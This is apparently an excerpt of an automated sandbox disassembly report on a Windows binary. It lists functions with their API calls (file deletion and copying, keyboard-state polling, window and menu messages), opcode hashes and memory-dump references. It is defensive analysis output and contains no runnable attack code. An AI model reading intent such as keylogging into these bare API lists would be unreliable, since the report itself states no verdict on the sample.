Part of subcall function 0036C6E4: _memmove.LIBCMT ref: 0036C71D
Part of subcall function 0036C6E4: _memmove.LIBCMT ref: 0036C72C

_wcscmp.LIBCMT ref: 0036C92A

Part of subcall function 0036CE59: _wcscmp.LIBCMT ref: 0036CF49
Part of subcall function 0036CE59: _wcscmp.LIBCMT ref: 0036CF5C

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 0036CB8D
DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0036CC24
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 0036CC3A
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0036CC4B
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 0036CC5D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy
String ID:
API String ID: 152968663-0
Opcode ID: 2dade983973cd52f9f15dc94ecb6de433c7f4a62ce54c089dd6da69929d7a1ff
Instruction ID: 0074fff89ca7da93934894d53c7284398a1f6b09d1a169b9d9f411e5ba4d3bbe
Opcode Fuzzy Hash: 2dade983973cd52f9f15dc94ecb6de433c7f4a62ce54c089dd6da69929d7a1ff
Instruction Fuzzy Hash: D9C11CB1900129AADF12DF95CC81EEEB7BDEF49310F0080A6F649EB155D7709A84CF65

Function 003708D9 Relevance: 18.2, APIs: 12, Instructions: 196COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0037090D
_memset.LIBCMT ref: 00370928
CoInitialize.OLE32(00000000), ref: 0037093B
SHGetMalloc.SHELL32(?), ref: 00370945
CoUninitialize.COMBASE ref: 0037094F
_wcscpy.LIBCMT ref: 00370993
SHGetDesktopFolder.SHELL32(?), ref: 003709F5
_wcscpy.LIBCMT ref: 00370A1B
_wcscpy.LIBCMT ref: 00370A77
SHBrowseForFolderW.SHELL32 ref: 00370AA2
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00370AC5
CoUninitialize.COMBASE ref: 00370B11

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscpy$FolderUninitialize_memset$BrowseDesktopFromInitializeListMallocPath
String ID:
API String ID: 3566271842-0
Opcode ID: 93dffb347f7d4c1716fa1b99aadeccd988f45f19f7803914c0c9dcab28131211
Instruction ID: b8d2492dcb055b4bf891377449fc93179e8635ead767fab58b4e3de8b6b0cdb2
Opcode Fuzzy Hash: 93dffb347f7d4c1716fa1b99aadeccd988f45f19f7803914c0c9dcab28131211
Instruction Fuzzy Hash: 6C712C75A00219EFDB15DFA4D885ADEB7B8FF49310F048095E919AB261DB34EE40CF90

Function 0036388D Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00363908
SetKeyboardState.USER32(?), ref: 00363973
GetAsyncKeyState.USER32(000000A0), ref: 00363993
GetKeyState.USER32(000000A0), ref: 003639AA
GetAsyncKeyState.USER32(000000A1), ref: 003639D9
GetKeyState.USER32(000000A1), ref: 003639EA
GetAsyncKeyState.USER32(00000011), ref: 00363A16
GetKeyState.USER32(00000011), ref: 00363A24
GetAsyncKeyState.USER32(00000012), ref: 00363A4D
GetKeyState.USER32(00000012), ref: 00363A5B
GetAsyncKeyState.USER32(0000005B), ref: 00363A84
GetKeyState.USER32(0000005B), ref: 00363A92

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: f302f738d663cf5a58298afb7a557878de3535997a2767d3bdf39d6c7eae6c31
Instruction ID: feafd8609fe5a5eea2de783a228a2d53d4d074799e9bbd1b929e63bb85550dff
Opcode Fuzzy Hash: f302f738d663cf5a58298afb7a557878de3535997a2767d3bdf39d6c7eae6c31
Instruction Fuzzy Hash: D151A920E0878429FB37EBA488117EAAFF45F12344F09C59DD5C25B5C6DB649B8CCB62

Function 0035FAFD Relevance: 18.2, APIs: 12, Instructions: 174COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 0035FB19
GetWindowRect.USER32(00000000,?), ref: 0035FB2B
MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 0035FB89
GetDlgItem.USER32(?,00000002), ref: 0035FB94
GetWindowRect.USER32(00000000,?), ref: 0035FBA6
MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 0035FBFC
GetDlgItem.USER32(?,000003E9), ref: 0035FC0A
GetWindowRect.USER32(00000000,?), ref: 0035FC1B
MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 0035FC5E
GetDlgItem.USER32(?,000003EA), ref: 0035FC6C
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 0035FC89
InvalidateRect.USER32(?,00000000,00000001), ref: 0035FC96

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 52418ed2252ed586f57cd3eef8138c0ff9d746e8aa6ae588d7f8ed1d3373807e
Instruction ID: 7e135e65bf2218ec82b07f4d1dcae6d6f1aaeea70537825ed3768465e11517a2
Opcode Fuzzy Hash: 52418ed2252ed586f57cd3eef8138c0ff9d746e8aa6ae588d7f8ed1d3373807e
Instruction Fuzzy Hash: 92514F71B00209AFDB09CF68CD95EAEBBBAEB89301F15813DF916D76A0D7709D048B10

Function 0033B039 Relevance: 18.1, APIs: 12, Instructions: 131COMMON

Download Yara Rule

APIs

Part of subcall function 0033B155: GetWindowLongW.USER32(?,000000EB), ref: 0033B166

GetSysColor.USER32(0000000F), ref: 0033B067

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 662572e8cf136c735e52b4f58e00098b606966b0c870478bea36260cf80e8fe4
Instruction ID: cf71f78a7e772982627264d202dc707795c035588cd9828ce3a909b8daab42d1
Opcode Fuzzy Hash: 662572e8cf136c735e52b4f58e00098b606966b0c870478bea36260cf80e8fe4
Instruction Fuzzy Hash: 4341A131100540AFDB27AF28DCD8BBA7B69AB06724F194365FE768A1E2D7318C41DB21

Function 00367334 Relevance: 18.1, APIs: 12, Instructions: 113COMMON

Download Yara Rule

APIs

_wcschr.LIBCMT ref: 0036734C
_wcscpy.LIBCMT ref: 0036735D
__wsplitpath.LIBCMT ref: 00367384
__wsplitpath.LIBCMT ref: 003673A8
_wcscpy.LIBCMT ref: 003673CA
_wcscpy.LIBCMT ref: 003673E8
_wcscpy.LIBCMT ref: 003673F9
_wcscat.LIBCMT ref: 00367408
_wcscat.LIBCMT ref: 0036745D
_wcscat.LIBCMT ref: 00367493
_wcscat.LIBCMT ref: 003674A5

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
String ID:
API String ID: 136442275-0
Opcode ID: d5acae877f55a97e31f71704fa8db7ffd6f34d390c0f29441c1d0e2d9033c0f3
Instruction ID: 0913a015d4bf563365575accfc6e39a4a0ae38385c06595a2585adfd93327cf4
Opcode Fuzzy Hash: d5acae877f55a97e31f71704fa8db7ffd6f34d390c0f29441c1d0e2d9033c0f3
Instruction Fuzzy Hash: 8E411FB280452CAADB26EB50CC45EDE73BCAB48314F5081E6F519A6055EF71ABD4CFA0

Function 0038B14A Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 0038B204

Strings

@U=u, xrefs: 0038B23A

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: InvalidateRect
String ID: @U=u
API String ID: 634782764-2594219639
Opcode ID: 9a18ab9599f91372f4cfe21d4022d1099709d002222cb8de42e45021773ca783
Instruction ID: 24c452079ad0355be9f2556966810a971420cd8d393e2f9b9a583b5df98e2478
Opcode Fuzzy Hash: 9a18ab9599f91372f4cfe21d4022d1099709d002222cb8de42e45021773ca783
Instruction Fuzzy Hash: 1A51A134500306BFEF32BF28CC99B9EBB69AB06350F204592FA55DA5E1C7B1E9548B50

Function 0033A599 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 0039E9EA
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0039EA0B
LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 0039EA20
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 0039EA3D
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 0039EA64
DestroyCursor.USER32(00000000), ref: 0039EA6F
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 0039EA8C
DestroyCursor.USER32(00000000), ref: 0039EA97

Strings

@U=u, xrefs: 0039EA49

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: CursorDestroyExtractIconImageLoadMessageSend
String ID: @U=u
API String ID: 3992029641-2594219639
Opcode ID: 7ec55fdf68a4b5788edbd9c6e8a818744dea9ce15d50b413c11d70e4ae9115a7
Instruction ID: b685e770ae622f2c88ff475de1cbba23da03acd01376b6d8cf8d4d81a3ae6002
Opcode Fuzzy Hash: 7ec55fdf68a4b5788edbd9c6e8a818744dea9ce15d50b413c11d70e4ae9115a7
Instruction Fuzzy Hash: 51516870600605AFDB22DF69CCC2FAA77B9BB09754F104619F9869B6E0D7B0ED80DB50

Function 003284A6 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 003284E5
__itow.LIBCMT ref: 00328519

Part of subcall function 00342177: _xtow@16.LIBCMT ref: 00342198

Strings

%.15g, xrefs: 003284DF
0x%p, xrefs: 00395582
True, xrefs: 00395561
False, xrefs: 00395568

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __itow__swprintf_xtow@16
String ID: %.15g$0x%p$False$True
API String ID: 1502193981-2263619337
Opcode ID: 2ee54f50f4cc830e5842a08e7e6b7cda8bd74ec582cebf29838103f672ffe2d3
Instruction ID: 510831f0f3e7747c3d8c30741881edd400864679a136272d68408a320ac38673
Opcode Fuzzy Hash: 2ee54f50f4cc830e5842a08e7e6b7cda8bd74ec582cebf29838103f672ffe2d3
Instruction Fuzzy Hash: 98412B316006159BDB27EF38E841F6A73E9FF45300F20446EE54ADB182EE31EA81CB50

Function 0035C6FD Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 0035C782
GetDlgCtrlID.USER32 ref: 0035C78D
GetParent.USER32 ref: 0035C7A9
SendMessageW.USER32(00000000,?,00000111,?), ref: 0035C7AC
GetDlgCtrlID.USER32(?), ref: 0035C7B5
GetParent.USER32(?), ref: 0035C7D1
SendMessageW.USER32(00000000,?,?,00000111), ref: 0035C7D4

Strings

ListBox, xrefs: 0035C73F
@U=u, xrefs: 0035C7D4
ComboBox, xrefs: 0035C707

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 313823418-2258501812
Opcode ID: 5b9742f734abce70e0ddd0ec7c720dd054e12ea952b13126765a2066a7537c41
Instruction ID: 94b37032ea05d4cdeac944923f53329249ccaadb4fcf5cc7293828553729561a
Opcode Fuzzy Hash: 5b9742f734abce70e0ddd0ec7c720dd054e12ea952b13126765a2066a7537c41
Instruction Fuzzy Hash: 6321C474900208AFCB06EB60CC95DFE7769EF4A301F500115F922972E1DB785919DB20

Function 0035C7E6 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0032CAEE: _memmove.LIBCMT ref: 0032CB2F

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 0035C869
GetDlgCtrlID.USER32 ref: 0035C874
GetParent.USER32 ref: 0035C890
SendMessageW.USER32(00000000,?,00000111,?), ref: 0035C893
GetDlgCtrlID.USER32(?), ref: 0035C89C
GetParent.USER32(?), ref: 0035C8B8
SendMessageW.USER32(00000000,?,?,00000111), ref: 0035C8BB

Strings

ListBox, xrefs: 0035C828
@U=u, xrefs: 0035C8BB
ComboBox, xrefs: 0035C7F0

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$CtrlParent$_memmove
String ID: @U=u$ComboBox$ListBox
API String ID: 313823418-2258501812
Opcode ID: 81afee622451a63ce7e8ab3f8b44c1f51c426886e5b11c9bec6111f13cd4cbdf
Instruction ID: 3f3c55055525af4a425c76c99b845000dd0db3b6b62fd50fc71927f5cbdd56b3
Opcode Fuzzy Hash: 81afee622451a63ce7e8ab3f8b44c1f51c426886e5b11c9bec6111f13cd4cbdf
Instruction Fuzzy Hash: 1E21B375A00208BFDF06AB64CC85EFEB7B9EF45301F540015F912E71A1DB7859199B20

Function 0035C8CD Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 71windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 0035C8D9
GetClassNameW.USER32(00000000,?,00000100), ref: 0035C8EE
_wcscmp.LIBCMT ref: 0035C900
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 0035C97B

Strings

list, xrefs: 0035C95D
largeicons, xrefs: 0035C90F
smallicons, xrefs: 0035C943
@U=u, xrefs: 0035C97B
SHELLDLL_DefView, xrefs: 0035C8FA
details, xrefs: 0035C929

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: @U=u$SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-1428604138
Opcode ID: 8157373dafc8ec7c02f0996c7682c6fef2fd472a174a8b3d64286f1e43386700
Instruction ID: 59fc26168f15b9db58d7edc9517cdb3957d9a0f129b3246d40c50529ec73b8c0
Opcode Fuzzy Hash: 8157373dafc8ec7c02f0996c7682c6fef2fd472a174a8b3d64286f1e43386700
Instruction Fuzzy Hash: FF11E377258702BDFA072A30AC0ACE777DCDB17329B200017FD00A90E2FBA169454590

Function 003657FB Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00365816
GetMenuItemInfoW.USER32(003E18F0,000000FF,00000000,00000030), ref: 00365877
SetMenuItemInfoW.USER32(003E18F0,00000004,00000000,00000030), ref: 003658AD
Sleep.KERNEL32(000001F4), ref: 003658BF
GetMenuItemCount.USER32(?), ref: 00365903
GetMenuItemID.USER32(?,00000000), ref: 0036591F
GetMenuItemID.USER32(?,-00000001), ref: 00365949
GetMenuItemID.USER32(?,?), ref: 0036598E
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 003659D4
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003659E8
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00365A09

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: b7274957070ab0c9935382d5587000702a4c742534a7a25b0fa0c048e69ed090
Instruction ID: 13cd449d658e898898e2b6bf794623ee11de4421057fb40ee59372649db27bf8
Opcode Fuzzy Hash: b7274957070ab0c9935382d5587000702a4c742534a7a25b0fa0c048e69ed090
Instruction Fuzzy Hash: 81619F71900689EFDF23CFA4C888AAE7BFDEB06358F158169F442A7255D731AD45CB20

Function 00389A23 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00389AA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00389AA8
GetWindowLongW.USER32(?,000000F0), ref: 00389ACC
_memset.LIBCMT ref: 00389ADD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00389AEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00389B67

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: 2869db3673bdfe24715d750f875ad62a262cb79219dcd6c9b3fa16062413cae5
Instruction ID: 5e65c83dff5addb71e9652605801b1b9e3e9e36899783860dacca6dba4e52f04
Opcode Fuzzy Hash: 2869db3673bdfe24715d750f875ad62a262cb79219dcd6c9b3fa16062413cae5
Instruction Fuzzy Hash: C8615C75A00258AFDB22DFA4CC81FEE77F8EF09700F14019AFA15AB2A1D774A945DB50

Function 00363569 Relevance: 16.6, APIs: 11, Instructions: 119keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00363591
GetAsyncKeyState.USER32(000000A0), ref: 00363612
GetKeyState.USER32(000000A0), ref: 0036362D
